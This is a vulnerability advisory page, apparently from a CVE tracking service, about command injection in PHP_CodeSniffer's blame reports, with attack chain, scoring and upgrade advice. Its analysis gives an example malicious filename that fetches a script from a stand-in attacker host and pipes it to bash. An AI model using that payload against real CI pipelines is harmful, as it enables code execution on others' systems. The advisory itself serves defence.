Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit PR with shell-metacharacter filename
-
DeliveryCI triggers PHPCS with blame report
-
ExploitPHPCS interpolates filename into shell command
-
ExecutionShell evaluates embedded command substitution
-
ImpactArbitrary code executes on CI runner
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all three conditions to hold simultaneously: (1) PHP_CodeSniffer must be invoked with |
| Impact | The CVSS 4.0 score of 7.3 with vector AV:L/AC:L/AT:P/PR:N/UI:P accurately captures the threat profile. The AT:P (attack requirements present) modifier correctly reflects that exploitation requires the non-default blame report mode - the default |
| Exploit ScenarioDerived | An attacker submits a pull request to a target project's repository containing a PHP file named |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 06, 2026
Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows arbitrary shell command execution on the host running the tool when it processes files with shell-metacharacter-containing names. Versions before 3.13.6 (v3 branch) and 4.0.2 (v4 branch) are affected. This is especially impactful in CI/CD pipelines scanning untrusted pull requests, where an attacker can submit a file named with embedded shell commands (e.g., $(curl attacker.com/shell.sh|bash).php) and trigger execution on the CI runner - no public exploit confirmed at time of analysis, but the fix diff and advisory make the injection mechanism fully public.
Earlier versions of this analysis (1)
Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows an attacker who can control scanned filenames — for example by submitting a pull request to a repository monitored by a CI pipeline — to execute arbitrary shell commands on the scanning host. All 3.x versions before 3.13.6 and all 4.x versions before 4.0.2 are affected when blame reports are in use. No public exploit code has been identified at time of analysis, but the published patch diff confirms the injection vector via crafted filenames such as $(touch newfile.txt).php and the test suite demonstrates successful command execution prior to the fix.
RemediationAI
Upgrade PHP_CodeSniffer to v3.13.6 (v3 branch) or v4.0.2 (v4 branch), which apply escapeshellarg() to filenames in all three blame report files and add the -- end-of-options separator for git blame, as detailed in PR #1473 (https://github.com/PHPCSStandards/PHP_CodeSniffer/pull/1473). These are the exact fix versions confirmed by the vendor advisory GHSA-hmqg-cxww-wqhq. For teams unable to upgrade immediately, the vendor-recommended workaround is to avoid specifying --report=Gitblame, --report=Hgblame, or --report=Svnblame in any PHPCS invocation that processes untrusted code - switching to the default Full report or any other non-blame report type completely eliminates the attack surface without requiring a version change. This workaround requires auditing all CI job definitions, pre-commit hook scripts, and automated review service configurations to confirm no blame report types are in use. Note that the workaround does not protect against future accidental re-introduction of blame reporting, making the upgrade the preferred long-term fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PHP_CodeSniffer (composer package squizlabs/php_codesniffer) is a widely-used PHP code quality tool that enforces coding standards. Its blame reports - Gitblame, Hgblame, and Svnblame - annotate output by invoking VCS blame binaries via PHP shell execution. The root cause (CWE-78: OS Command Injection) is that filenames were interpolated directly into shell command strings using only double-quote wrapping, without sanitization. For example, Gitblame constructed: git blame --date=short " + basename($filename) + " 2>&1. A filename containing $(command) bypasses double-quote containment via command substitution, and filenames starting with - could be treated as flags. The fix in PR #1473 applies PHP's escapeshellarg() to all three report files and adds the -- end-of-options separator for git blame, correctly neutralizing both injection vectors.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:L because execution occurs locally on the PHPCS host; PR:N since attacker needs no account on that host; UI:R because a developer or CI job must actively invoke the blame report against the malicious file.
Primary rating from Vendor (https://github.com/PHPCSStandards/PHP_CodeSniffer).
CVSS VectorVendor: https://github.com/PHPCSStandards/PHP_CodeSniffer
Lifecycle Timeline
3DescriptionCVE.org
Impact
PHP_CodeSniffer versions before v3.13.6 and v4.0.2 contain a command injection vulnerability in the code creating the Gitblame, Hgblame and Svnblame report(s).
As a result, running PHP_CodeSniffer over untrusted files, for example, in a CI pipeline that scans pull requests, or on a developer machine reviewing third-party code, could result in attacker-controlled shell commands being executed when the Gitblame, Hgblame or Svnblame report(s) would process a file whose name contains shell metacharacters.
- Users using the default
Fullreport, or any of the other non-*blame reports, are not affected. - Users on a runtime platform which does not allow filenames to contain shell metacharacters, such as
"and;, are not affected.
Patched versions
The issue has been fixed in PHP_CodeSniffer v3.13.6 and v4.0.2. We recommend all users upgrade to these versions at their earliest convenience.
Workaround
Users of PHP_CodeSniffer who cannot upgrade immediately should ensure they do not use the Gitblame, Hgblame or the Svnblame reports when scanning untrusted code.
This is especially relevant for CI jobs, pre-commit or review tooling, automated review services, and any service that scans untrusted repositories or uploaded source trees.
Credits
Many thanks to both @Faze-up and @edorian for responsibly disclosing this vulnerability.
How can I report a security bug?
Please report security vulnerabilities privately via the "Security and quality" tab on the PHP_CodeSniffer repository.
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
PHP_CodeSniffer versions prior to 3.13.6 (v3) and 4.0.2 (v4) contain a command injection vulnerability in their Gitblame, Hgblame, and Svnblame report generators that allows attackers to execute arbitrary shell commands when processing files with malicious names. For organizations running PHP_CodeSniffer in CI/CD pipelines-particularly those analyzing untrusted pull requests-this vulnerability poses a direct risk of pipeline compromise and lateral movement to internal systems.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-54170
GHSA-hmqg-cxww-wqhq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB